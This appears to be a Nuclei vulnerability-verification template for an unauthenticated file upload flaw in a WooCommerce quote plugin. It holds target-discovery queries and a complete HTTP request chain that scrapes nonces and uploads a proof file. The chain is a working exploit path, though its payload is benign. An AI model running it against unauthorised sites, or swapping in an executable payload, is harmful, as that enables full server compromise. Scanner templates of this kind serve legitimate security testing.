Copy
id: CVE-2026-18143
info:
name: Request Quote for WooCommerce <= 2.9.2 - Unauthenticated Arbitrary File Upload
author: 0x_Akoko,pdteam
severity: critical
description: |
Request a Quote for WooCommerce plugin for WordPress <= 2.9.2 contains an unrestricted file upload vulnerability caused by missing file extension and MIME type validation in afrfq_submit_quote_via_popup(), letting unauthenticated attackers upload executable files, exploit requires enabled public quote rule with multi-page popup flow.
impact: |
Unauthenticated attackers can upload and execute arbitrary files, potentially leading to remote code execution and full server compromise.
remediation: |
Update to the latest version of Request a Quote for WooCommerce plugin.
reference:
- https://patchstack.com/database/wordpress/plugin/woocommerce-request-a-quote/vulnerability/wordpress-request-a-quote-for-woocommerce-plugin-2-9-2-unauthenticated-arbitrary-file-upload-vulnerability
- https://www.wordfence.com/threat-intel/vulnerabilities/id/3417ec27-6abf-45c7-945f-6ef456ba1187?source=cve
- https://github.com/murrez/CVE-2026-18143
- https://nvd.nist.gov/vuln/detail/CVE-2026-18143
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-18143
epss-score: 0.00413
epss-percentile: 0.34007
cwe-id: CWE-434
metadata:
verified: true
max-request: 8
vendor: addify
product: woocommerce-request-a-quote
fofa-query: body="/wp-content/plugins/woocommerce-request-a-quote/"
shodan-query: http.html:"woocommerce-request-a-quote"
tags: cve,cve2026,wordpress,wp,wp-plugin,woocommerce,addify,afrfq,file-upload,rce,unauth,intrusive,vkev
variables:
rand: "{{randstr}}"
filename: "proof_{{rand}}.txt"
bound: "{{to_lower(rand_text_alpha(8))}}"
flow: |
if (!http(1)) { stop(); }
http(2);
if (!template["product_slug"]) { http(3); }
if (!template["product_slug"]) { http(4); }
if (!template["product_slug"]) { stop(); }
http(5);
if (!template["nonce1"]) { stop(); }
http(6);
http(7);
if (!template["nonce2"]) { set("nonce2", template["nonce1"]); }
if (!template["qty_key"]) { set("qty_key", "0"); }
if (!template["rfq_field1"]) { set("rfq_field1", "afrfq_noop_a"); }
if (!template["rfq_field2"]) { set("rfq_field2", "afrfq_noop_b"); }
if (!template["rfq_field3"]) { set("rfq_field3", "afrfq_noop_c"); }
http(8);
http:
- raw:
- |
GET /wp-content/plugins/woocommerce-request-a-quote/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "Request a Quote")'
- 'compare_versions(plugin_version, "<= 2.9.2")'
condition: and
internal: true
extractors:
- type: regex
name: plugin_version
group: 1
regex:
- '(?i)Stable tag:\s*([0-9.]+)'
internal: true
- raw:
- |
GET /wp-json/wc/store/products?per_page=3&orderby=popularity HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: product_slug
group: 1
regex:
- '^[\s\S]*?[\\/]product[\\/]+([a-zA-Z0-9_-]+)'
internal: true
- raw:
- |
GET /wp-sitemap-posts-product-1.xml HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: product_slug
group: 1
regex:
- '^[\s\S]*?/product/([a-zA-Z0-9_-]+)'
internal: true
- raw:
- |
GET /shop/ HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: product_slug
group: 1
regex:
- '^[\s\S]*?/product/([a-zA-Z0-9_-]+)'
internal: true
- raw:
- |
GET /product/{{product_slug}}/ HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: nonce1
group: 1
regex:
- 'afrfq_phpvars[\s\S]{0,400}"nonce"\s*:\s*"([a-f0-9]{6,12})"'
internal: true
- type: regex
name: product_id
group: 1
regex:
- 'postid-(\d+)'
- '"product_id"\s*:\s*"?(\d+)"?'
internal: true
- type: regex
name: rule_id
group: 1
regex:
- 'data-rule_id="(\d+)"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=add_to_quote&nonce={{nonce1}}&product_id={{product_id}}&rule_id={{rule_id}}&quantity=1
- raw:
- |
GET /product/{{product_slug}}/?ra={{rand}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: nonce2
group: 1
regex:
- 'name="afrfq_nonce"\s+value="([^"]+)"'
- 'id="afrfq_nonce"[^>]+value="([^"]+)"'
internal: true
- type: regex
name: qty_key
group: 1
regex:
- 'name="quote_qty\[([^\]]+)\]"'
internal: true
- type: regex
name: rfq_field1
group: 1
regex:
- '^[\s\S]*?name="(afrfq_field_\d+)"'
internal: true
- type: regex
name: rfq_field2
group: 1
regex:
- '^[\s\S]*?name="afrfq_field_\d+"[\s\S]*?name="(afrfq_field_\d+)"'
internal: true
- type: regex
name: rfq_field3
group: 1
regex:
- '^[\s\S]*?name="afrfq_field_\d+"[\s\S]*?name="afrfq_field_\d+"[\s\S]*?name="(afrfq_field_\d+)"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary={{bound}}
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
--{{bound}}
Content-Disposition: form-data; name="action"
afrfq_submit_quote_via_popup
--{{bound}}
Content-Disposition: form-data; name="afrfq_nonce"
{{nonce2}}
--{{bound}}
Content-Disposition: form-data; name="popup_template"
template_two
--{{bound}}
Content-Disposition: form-data; name="current_page"
2
--{{bound}}
Content-Disposition: form-data; name="quote_qty[{{qty_key}}]"
1
--{{bound}}
Content-Disposition: form-data; name="{{rfq_field1}}"
poc
--{{bound}}
Content-Disposition: form-data; name="{{rfq_field2}}"
poc
--{{bound}}
Content-Disposition: form-data; name="{{rfq_field3}}"
poc@example.com
--{{bound}}
Content-Disposition: form-data; name="qfile"; filename="{{filename}}"
Content-Type: text/plain
{{rand}}
--{{bound}}--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains(body, "\"status\":\"pass\"")'
condition: and
# digest: 490a00463044022004795dd9732193d6442d3f0a41e2bdecc0aa34a9831c584374c0bbe85e7f140b02203e4711e1dfd3d7b08e887d18106e654bcea3f94746f09962a653512a15a0439f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.